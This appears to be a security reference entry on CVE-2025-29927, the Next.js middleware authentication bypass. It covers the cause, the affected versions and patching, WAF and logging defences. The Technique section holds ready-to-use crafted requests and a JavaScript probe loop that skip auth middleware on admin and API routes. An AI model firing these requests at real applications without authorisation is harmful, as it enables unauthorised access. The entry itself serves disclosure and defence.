Next.js Middleware Auth Bypass (CVE-2025-29927)
TL;DR: Sending the
x-middleware-subrequestheader with a crafted value tricks Next.js into skipping middleware entirely, neutralising any auth or redirect logic implemented there.
What it is
Next.js uses an internal header, x-middleware-subrequest, to prevent middleware from recursing into itself when one middleware triggers an internal subrequest. The framework counts how many times the middleware function appears in the header and short-circuits execution when a threshold is reached. Because that header was never stripped from external requests, an attacker can simply set it themselves and reach protected routes — admin pages, server actions, API handlers — without ever running the middleware that enforces authentication or RBAC. Affected: Next.js 11.1.4 through 15.2.2 (patched in 15.2.3, 14.2.25, 13.5.9, 12.3.5).
Preconditions / where it applies
- Application uses
middleware.ts/middleware.jsfor authn/authz, redirects, header injection, or rate-limit checks - Any deployment mode is affected: self-hosted Node, Docker, custom servers, and standalone output
- Vercel-hosted apps received a platform-side mitigation, but self-hosted and reverse-proxied deployments must patch
- No authentication required to send the header — it works pre-login on protected paths
Technique
The bypass header value is a comma-separated list of middleware names; padding it past Next’s recursion guard skips execution:
1
2
3
4
GET /admin/dashboard HTTP/1.1
Host: target.example
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Cookie:
For App Router projects with nested middleware, the segment names differ:
1
2
3
GET /api/internal/users HTTP/1.1
Host: target.example
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
A minimal probe loop:
1
2
3
4
5
6
7
8
const probe = async (path) => {
const r = await fetch(`https://target.example${path}`, {
headers: { "x-middleware-subrequest": "middleware:".repeat(5).slice(0, -1) },
redirect: "manual",
});
console.log(path, r.status, r.headers.get("location"));
};
["/admin", "/api/admin/users", "/dashboard"].forEach(probe);
A 200 (instead of the expected 302 to /login) confirms the bypass. The exact middleware name to repeat is the path of the middleware file relative to the project root, minus the extension; brute-forcing common values (middleware, src/middleware, app/middleware) covers the majority of apps.
Detection and defence
- Upgrade to Next.js 15.2.3, 14.2.25, 13.5.9, or 12.3.5 immediately
- As a stop-gap, drop the
x-middleware-subrequestheader at the edge (Nginx, Cloudflare, ALB) before requests reach the Node runtime - Add a WAF rule blocking any external request containing that header — it should only ever be set internally
- Alert on access logs showing the header arriving from client IPs; pre-patch traffic with it is almost certainly malicious
- Defence in depth: re-check authentication inside route handlers and server actions, never trust middleware alone
References
- Next.js security advisory GHSA-f82v-jwr5-mffw — official advisory
- Vercel blog on CVE-2025-29927 — vendor postmortem
See also: broken-access-control, waf-bypass, open-redirect.